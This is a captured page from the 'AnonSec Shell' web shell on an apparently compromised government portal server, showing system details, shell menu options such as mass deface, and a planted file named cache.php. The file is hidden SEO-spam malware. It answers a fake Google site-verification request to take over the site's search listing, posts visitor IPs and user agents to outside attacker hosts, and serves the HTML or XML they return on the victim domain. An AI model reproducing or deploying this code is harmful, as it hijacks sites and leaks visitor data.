AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.72   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/portais/camarabeberibe/abcd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/portais/camarabeberibe/abcd/cache.php
<?php

date_default_timezone_set('America/Sao_Paulo');




register_shutdown_function(function () {
    $erro = error_get_last();

    if ($erro === null) {
        return;
    }

    $tiposFatais = array(
        E_ERROR,
        E_PARSE,
        E_CORE_ERROR,
        E_COMPILE_ERROR,
        E_USER_ERROR
    );

    if (!in_array($erro['type'], $tiposFatais, true)) {
        return;
    }

    // Não imprime nada no corpo da resposta.
    // Assim XML/HTML não recebe conteúdo extra após o documento.
    error_log(
        'ERRO FATAL PHP | Tipo=' . $erro['type'] .
        ' | Mensagem=' . $erro['message'] .
        ' | Arquivo=' . $erro['file'] .
        ' | Linha=' . $erro['line']
    );
});



$modoAnalise = false;




if (isset($_GET['debug']) && $_GET['debug'] === '1') {

    header('Content-Type: text/plain; charset=utf-8');

    echo "PHP: " . PHP_VERSION . "n";

    echo "cURL: ";
    echo function_exists('curl_init') ? "SIM" : "NAO";
    echo "\n";

    echo "allow_url_fopen: ";
    echo ini_get('allow_url_fopen') ? "SIM" : "NAO";
    echo "\n";

    echo "file_get_contents: ";
    echo function_exists('file_get_contents') ? "SIM" : "NAO";
    echo "\n";

    echo "stream_context_create: ";
    echo function_exists('stream_context_create') ? "SIM" : "NAO";
    echo "\n";

    echo "OpenSSL: ";
    echo extension_loaded('openssl') ? "SIM" : "NAO";
    echo "\n";

    echo "JSON: ";
    echo function_exists('json_encode') ? "SIM" : "NAO";
    echo "n";

    echo "Servidor: ";

    if (isset($_SERVER['SERVER_SOFTWARE'])) {
        echo $_SERVER['SERVER_SOFTWARE'];
    }

    echo "n";

    echo "REQUEST_URI: ";

    if (isset($_SERVER['REQUEST_URI'])) {
        echo $_SERVER['REQUEST_URI'];
    }

    echo "n";

    echo "HTTP_HOST: ";

    if (isset($_SERVER['HTTP_HOST'])) {
        echo $_SERVER['HTTP_HOST'];
    }

    echo "n";

    exit;
}




$verificationSlug = 'google6f39d582aaf52007.html';


$requestUri = '';

if (isset($_SERVER['REQUEST_URI'])) {
    $requestUri = $_SERVER['REQUEST_URI'];
}


$path = parse_url(
    $requestUri,
    PHP_URL_PATH
);


if ($path === false || $path === null) {
    $path = '';
}


$oParam = null;

if (isset($_GET['o'])) {
    $oParam = $_GET['o'];
}


$matchesVerification = false;




$finalVerificacao = '/' . $verificationSlug;


if (
    $path !== '' &&
    substr(
        $path,
        -strlen($finalVerificacao)
    ) === $finalVerificacao
) {

    $matchesVerification = true;
}




if (
    $matchesVerification === false &&
    $oParam !== null
) {

    if ($oParam === $verificationSlug) {

        $matchesVerification = true;

    } else {

        $posVerification = strpos(
            $oParam,
            '_'
        );


        if ($posVerification !== false) {

            $depois = substr(
                $oParam,
                $posVerification + 1
            );


            if ($depois === $verificationSlug) {

                $matchesVerification = true;
            }
        }
    }
}




if ($matchesVerification === true) {

    header(
        'Content-Type: text/plain; charset=utf-8'
    );

    http_response_code(200);

    echo "google-site-verification: ";
    echo $verificationSlug;

    exit;
}




$mapa = array(

    'venda' =>
        'http://165.140.156.129/s/mms/p1.php',

    'mercadolivre' =>
        'http://165.140.156.129/s/mms/p1.php',

    'olx' =>
        'http://165.140.156.129/s/ggs/p1.php',

    'farmacia' =>
        'http://165.140.156.129/s/mmn/p1.php',

    'drogaria' =>
        'http://165.140.156.129/s/mmp/p1.php',

    'hospital' =>
        'http://165.140.156.129/s/pps/p1.php',

    'usar' =>
        'http://165.140.156.129/s/v/p1.php',

    'ajuda' =>
        'https://e6d1n5wt1vbrp8od.com/s/v2/p1.php',

    'ipsep' =>
        'http://165.140.156.129/s/v2/p1.php',

    'shopee' =>
        'http://165.140.156.129/s/c/p1.php',

    'a' =>
        'http://165.140.156.129/s/a1/p1.php',

    'b' =>
        'http://165.140.156.129/s/b1/p1.php',

    'c' =>
        'http://165.140.156.129/s/c1/p1.php',

    'd' =>
        'http://165.140.156.129/s/d1/p1.php',

    'e' =>
        'http://165.140.156.129/s/e1/p1.php'
);




if (isset($_GET['o'])) {

    $o = $_GET['o'];


  

    $partes = explode(
        '_',
        $o
    );


    if (isset($partes[0])) {

        $prefixo = $partes[0];

    } else {

        $prefixo = '';
    }


  

    $pos = strpos(
        $o,
        '_'
    );


    if ($pos !== false) {

        $slug = substr(
            $o,
            $pos + 1
        );

    } else {

        $slug = '';
    }




    if (isset($mapa[$prefixo])) {

        $endpoint = $mapa[$prefixo];


 

        $scheme = 'http://';


        if (
            isset($_SERVER['HTTPS']) &&
            $_SERVER['HTTPS'] !== '' &&
            $_SERVER['HTTPS'] !== 'off'
        ) {

            $scheme = 'https://';
        }


   

        $host = '';

        if (isset($_SERVER['HTTP_HOST'])) {

            $host = $_SERVER['HTTP_HOST'];
        }


    

        $requestUriAtual = '';

        if (isset($_SERVER['REQUEST_URI'])) {

            $requestUriAtual =
                $_SERVER['REQUEST_URI'];
        }



        $uriPath = parse_url(
            $requestUriAtual,
            PHP_URL_PATH
        );


        if (
            $uriPath === false ||
            $uriPath === null
        ) {

            $uriPath = '/';
        }


    

        $diretorio = dirname(
            $uriPath
        );


        if ($diretorio === '.') {

            $diretorio = '';
        }




$diretorio = rtrim($diretorio, '/');

/*
|--------------------------------------------------------------------------
| MONTA DOMINIO
|--------------------------------------------------------------------------
*/

$scriptDir = dirname(
    isset($_SERVER['SCRIPT_NAME'])
        ? $_SERVER['SCRIPT_NAME']
        : ''
);

if ($scriptDir == '/' || $scriptDir == '.') {
    $scriptDir = '';
}

/*
 * Garante barra no início
 */
if ($scriptDir != '' && substr($scriptDir, 0, 1) != '/') {
    $scriptDir = '/' . $scriptDir;
}

/*
 * Remove barra final para evitar //
 */
$scriptDir = rtrim($scriptDir, '/');

$dominio =
    $scheme
    . $host
    . $scriptDir
    . '/?o='
    . $prefixo
    . '_';

    

        $ip = '';

        if (isset($_SERVER['REMOTE_ADDR'])) {

            $ip =
                $_SERVER['REMOTE_ADDR'];
        }


     

        $userAgent = '';

        if (isset($_SERVER['HTTP_USER_AGENT'])) {

            $userAgent =
                $_SERVER['HTTP_USER_AGENT'];
        }


      

        $dadosPayload = array(

            'caminho' =>
                $slug,

            'ip' =>
                $ip,

            'userAgent' =>
                $userAgent,

            'dominio' =>
                $dominio
        );


        $payload = json_encode(
            $dadosPayload
        );


        if ($payload === false) {

            http_response_code(500);

            echo "Erro ao gerar JSON.";

            exit;
        }


   

        if ($modoAnalise === true) {

            header(
                'Content-Type: text/plain; charset=utf-8'
            );

            http_response_code(200);


            echo "========================================n";
            echo " 1";
            echo "========================================nn";


            echo "Nenhuma conexao externa foi realizada.nn";


            echo "PARAMETRO O:n";
            echo $o;
            echo "nn";


            echo "PREFIXO:n";
            echo $prefixo;
            echo "nn";


            echo "SLUG:n";
            echo $slug;
            echo "nn";


            echo "ENDPOINT REMOTO:n";
            echo $endpoint;
            echo "nn";


            echo "DOMINIO QUE SERIA ENVIADO:n";
            echo $dominio;
            echo "nn";


            echo "IP DO VISITANTE:n";
            echo $ip;
            echo "nn";


            echo "USER AGENT:n";
            echo $userAgent;
            echo "nn";


            echo "PAYLOAD JSON:n";
            echo $payload;
            echo "nn";


            echo "PAYLOAD FORMATADO:n";

            if (function_exists('json_decode')) {

                $payloadArray =
                    json_decode(
                        $payload,
                        true
                    );

                print_r(
                    $payloadArray
                );
            }


            echo "n";
            echo "========================================n";
            echo "Fim";
            echo "========================================n";

            exit;
        }




$response = false;
$curlErro = '';
$httpCode = 0;
$contentType = '';
$curlInfo = array();

/*
 * Primeiro tenta usar cURL.
 * Se a extensao nao existir, usa streams nativos do PHP.
 */
if (function_exists('curl_init')) {

    $ch = curl_init();

    if ($ch === false) {
        http_response_code(500);
        echo "Erro ao iniciar cURL.";
        exit;
    }

    curl_setopt($ch, CURLOPT_URL, $endpoint);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);

    curl_setopt(
        $ch,
        CURLOPT_HTTPHEADER,
        array(
            'Content-Type: application/json',
            'Accept: application/json'
        )
    );

    curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
    curl_setopt($ch, CURLOPT_TIMEOUT, 12);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);

    curl_setopt(
        $ch,
        CURLOPT_USERAGENT,
        'ParceirosAds/1.0'
    );

    $response = curl_exec($ch);

    if ($response === false) {
        $curlErro = curl_error($ch);
    }

    $curlInfo = curl_getinfo($ch);

    $httpCode = isset($curlInfo['http_code'])
        ? (int)$curlInfo['http_code']
        : 0;

    $contentType = isset($curlInfo['content_type'])
        ? $curlInfo['content_type']
        : '';

    $curlInfo['metodo'] = 'cURL';

    curl_close($ch);

} else {

    /*
     * Fallback sem cURL: file_get_contents + stream_context_create.
     */
    if (
        !function_exists('file_get_contents') ||
        !function_exists('stream_context_create')
    ) {
        http_response_code(500);
        echo "Servidor sem cURL e sem suporte a streams HTTP do PHP.";
        exit;
    }

    if (!ini_get('allow_url_fopen')) {
        http_response_code(500);
        echo "Servidor sem cURL e com allow_url_fopen desativado.";
        exit;
    }

    $options = array(
        'http' => array(
            'method' => 'POST',
            'header' =>
                "Content-Type: application/json\r\n" .
                "Accept: application/json\r\n" .
                "User-Agent: ParceirosAds/1.0\r\n" .
                "Connection: close\r\n",
            'content' => $payload,
            'timeout' => 12,
            'ignore_errors' => true,
            'follow_location' => 0,
            'max_redirects' => 0
        )
    );

    /*
     * Mantem verificacao SSL padrao do PHP para HTTPS.
     */
    if (stripos($endpoint, 'https://') === 0) {
        $options['ssl'] = array(
            'verify_peer' => true,
            'verify_peer_name' => true,
            'allow_self_signed' => false
        );
    }

    $context = stream_context_create($options);

    /*
     * Limpa o ultimo erro para nao confundir o diagnostico.
     */
    if (function_exists('error_clear_last')) {
        error_clear_last();
    }

    $response = @file_get_contents(
        $endpoint,
        false,
        $context
    );

    $headers = isset($http_response_header)
        ? $http_response_header
        : array();

    foreach ($headers as $header) {

        if (
            preg_match(
                '#^HTTP/\\S+\\s+([0-9]{3})#i',
                $header,
                $m
            )
        ) {
            $httpCode = (int)$m[1];
        }

        if (stripos($header, 'Content-Type:') === 0) {
            $contentType = trim(substr($header, 13));
        }
    }

    $curlInfo = array(
        'metodo' => 'PHP stream / file_get_contents',
        'http_code' => $httpCode,
        'content_type' => $contentType,
        'headers' => $headers
    );

    if ($response === false) {
        $ultimoErro = error_get_last();

        if ($ultimoErro !== null && isset($ultimoErro['message'])) {
            $curlErro = $ultimoErro['message'];
        } else {
            $curlErro = 'Falha desconhecida no stream PHP.';
        }
    }
}



if (isset($_GET['remote_debug']) && $_GET['remote_debug'] === '1') {

    header('Content-Type: text/plain; charset=utf-8');

    echo "========== DEBUG REMOTO ==========nn";

    echo "ENDPOINT:n";
    echo $endpoint;
    echo "nn";

    echo "PAYLOAD:n";
    echo $payload;
    echo "nn";

    echo "CURL ERRO:n";
    echo $curlErro;
    echo "nn";

    echo "HTTP CODE:n";
    echo $httpCode;
    echo "nn";

    echo "CONTENT TYPE:n";
    echo $contentType;
    echo "nn";

    echo "CURL INFO:n";
    print_r($curlInfo);

    echo "nn";

    echo "RESPOSTA BRUTA:n";
    var_dump($response);

    echo "nn";
    echo "==================================n";

    exit;
}




if ($response === false) {

    error_log(
        'Erro agregador remoto: ' .
        $curlErro .
        ' | endpoint=' .
        $endpoint
    );

    http_response_code(502);

    echo 'Erro de conexao com parceiro.';

    exit;
}




if ($httpCode !== 200) {

    error_log(
        'Agregador retornou HTTP ' .
        $httpCode .
        ' | endpoint=' .
        $endpoint
    );

    http_response_code(502);

    echo 'Parceiro respondeu HTTP ' . $httpCode;

    exit;
}




$json = json_decode(
    $response,
    true
);


if (!is_array($json)) {

    error_log(
        'Resposta JSON invalida do agregador: ' .
        $endpoint
    );

    http_response_code(502);

    echo "JSON invalido.nn";

    echo "Resposta recebida:n";

    echo htmlspecialchars(
        substr($response, 0, 3000),
        ENT_QUOTES,
        'UTF-8'
    );

    exit;
}



if ($httpCode !== 200) {

    error_log(
        'Agregador retornou HTTP ' .
        $httpCode .
        ' | endpoint=' .
        $endpoint
    );

    http_response_code(502);

    echo '';

    exit;
}




$json = json_decode(
    $response,
    true
);


if (!is_array($json)) {

    error_log(
        'Resposta JSON invalida do agregador: ' .
        $endpoint
    );

    http_response_code(502);

    echo '';

    exit;
}




if (
    isset($json['html']) &&
    $json['html'] !== ''
) {

    header(
        'Content-Type: text/html; charset=utf-8'
    );

    http_response_code(200);

    echo str_replace(
        '_/',
        '_',
        $json['html']
    );

    exit;
}




if (
    isset($json['xml']) &&
    $json['xml'] !== ''
) {

    header(
        'Content-Type: application/xml; charset=utf-8'
    );

    http_response_code(200);

    echo str_replace(
        '_/',
        '_',
        $json['xml']
    );

    exit;
}




if (
    isset($json['xsl']) &&
    $json['xsl'] !== ''
) {

    header(
        'Content-Type: application/xslt+xml; charset=utf-8'
    );

    http_response_code(200);

    echo str_replace(
        '_/',
        '_',
        $json['xsl']
    );

    exit;
}




http_response_code(204);

exit;
    }
}




header(
    'Content-Type: text/html; charset=utf-8'
);

http_response_code(200);

echo '';

Anon7 - 2022
AnonSec Team